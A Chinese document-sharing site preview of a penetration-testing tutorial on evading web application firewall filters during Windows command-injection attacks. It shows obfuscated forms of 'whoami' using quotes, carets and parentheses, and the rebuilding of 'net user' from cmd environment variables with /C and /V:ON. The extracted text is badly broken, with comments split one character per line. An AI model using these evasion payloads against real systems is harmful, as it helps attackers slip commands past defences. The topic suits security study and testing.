没有合适的资源？快使用搜索试试~ 我知道了~

文库首页安全技术网络安全绕过WAF运行命令执行漏洞的方法大全1

绕过WAF运行命令执行漏洞的方法大全1

windows

需积分: 0 1 下载量 58 浏览量 2022-08-03 18:28:02 上传评论收藏 1.39MB PDF 举报

温馨提示

试读

25页

前言一、windows下前天安全客当然你可以加无数个”但不能同时连续加2个^符号，因为^号是cmd中的转义符，跟在他后面的符号会被转义如果在命令执行的时候遇到了

资源详情

资源评论

资源推荐

绕过WAF运行命令执行漏洞的方法大全

以下文章来源于掌控安全EDU ，作者掌控安全-桐镜

掌控安全EDU

安全教程\高质量文章\面试经验分享，尽在#掌控安全EDU#

今天聊聊关于命令执行漏洞绕过过滤的方法，让我们一起由浅入深。

1.1 符号与命令的关系

在看一个例子开始之前，首先了解一点，”和^这还有成对的圆括号()符号并不会影响命令的执行。在

windows环境下，命令可以不区分大小写

前言

一、windows下

whoami //

正

常

执

行

w"h"o"a"m"i //正常执行

w"h"o"a"m"i" //正常执行

wh""o^a^mi //正常执行

前天安全客

当然你可以加无数个”但不能同时连续加2个^符号，因为^号是cmd中的转义符，跟在他后面的符号会被转

义

wh""o^am"i //

正

常

执

行

((((Wh^o^am""i)))) //

正

常

执

行

w"""""""""""""hoami //正常执行

w"""""""""""""hoa^m""i //

正

常

执

行

w"""""""""""""hoa^^m""i //执行错误

如果在命令执行的时候遇到了拦截命令的关键字，那么就可以使用这种方式绕过啦。

1.2 了解set命令和windows变量

我们再了解一下cmd中的set命令和%符号的含义

首先set命令可以用来设置一个变量(环境变量也是变量哦~)，那么%符号如下图

可以明显的看出，用两个%括起来的变量，会引用其变量内的值。那也就是说：

set a=1 //

设

置

变

量

，

值

为

echo a //

此

时

输

出

结

果

为

"a"

echo %a% //

此

时

输

出

结

果

为

"1"

set a=whoami //

设

置

变

量

的

值

为

whoami

%a% //

引

用

变

量

的

值

，

直

接

执

行

了

whoami

命

令

这样就可以执行命令了，又或者还可以

set a=who

set b=ami

%a%%b% //

正

常

执

行

whoami

set a=w""ho

set b=a^mi

%a%%b% //

根

据

前

一

知

识

点

进

行

组

合

，

正

常

执

行

whoami

set a=ser&& set b=ne&& set c=t u && call %b%%c%%a%

在

变

量

中

设

置

空

格

，

最

后

调

用

变

量

来

执

行

命

令

通常我们也可以自定义一个或者多个环境变量，利用环境变量值中的字符，提取并拼接出最终想要的cmd

命令。如:

Cmd /C "set envar=net user && call echo %envar%"

可以拼接出cmd命令：net user

也可以定义多个环境变量进行拼接命令串，提高静态分析的复杂度：

cmd /c "set envar1=ser&& set envar2=ne&& set envar3=t u&&call echo

%envar2%%envar3%%envar1%"

cmd命令的“/C”参数，Cmd /C “string”表示：执行字符串string指定的命令，然后终止。

而启用延迟的环境变量扩展，经常使用 cmd.exe的 /V:ON参数，

/V:ON参数启用时，可以不使用call命令来扩展变量，使用 %var% 或 !var! 来扩展变量，!var!可以用来

代替%var%，也就是可以使用感叹号字符来替代运行时的环境变量值。后面介绍For循环时会需要开启/V:

参数延迟变量扩展方式。

剩余24页未读，继续阅读

内容反馈

洪蛋蛋

粉丝: 26
资源: 334

上传资源快速赚钱

我的内容管理展开

我的资源快来上传第一个资源

我的收益

登录查看自己的收益

我的积分登录查看自己的积分

我的C币登录后查看C币余额

我的收藏

我的下载

下载帮助

前往需求广场，查看用户热搜

绕过WAF运行命令执行漏洞的方法大全1

评论0

最新资源

绕过WAF运行命令执行漏洞的方法大全1

评论0

WAF绕过的各种方法总结.pdf

浅谈绕过WAF的数种方法.txt

struts2绕过waf读写文件及另类方式执行命令1

分块绕过WAF.zip

BurpSuite扩展程序可帮助测试人员绕过WAF或使用多种技术测试其有效性

上传绕过WAF的15中姿势

那些年我们绕过的WAF

struts2绕过waf读写文件及另类方式执行命令.doc

深入了解SQL注入绕过waf和过滤机制

第47天：WAF绕过-漏洞发现之代理池指纹被动探针1

关键字替换绕过waf1

绕过WAF的另类webshell木马文件测试方法1

WAF绕过检测技术

sql注入绕过方法总结

WAF绕过神器

waf是如何被绕过的

可以绕waf的python脚本

注释符绕过waf1

中间件特性绕过waf1

BurpLoaderKeygen.jar.zip

最新版ISO/IEC 27001:2022、ISO 27002:2022中英文合集

Goby红队版-win-x64-2.4.7版本

Chrome Header Editor 插件

ISO SAE 21434-2021 中文版.pdf

OpenVAS GVM 中文翻译补丁

安全认证cisp教材全套

STM32F103C8T6核心板-电路原理图1.PDF

软件工程导论(第六版)课后习题答案1

最新资源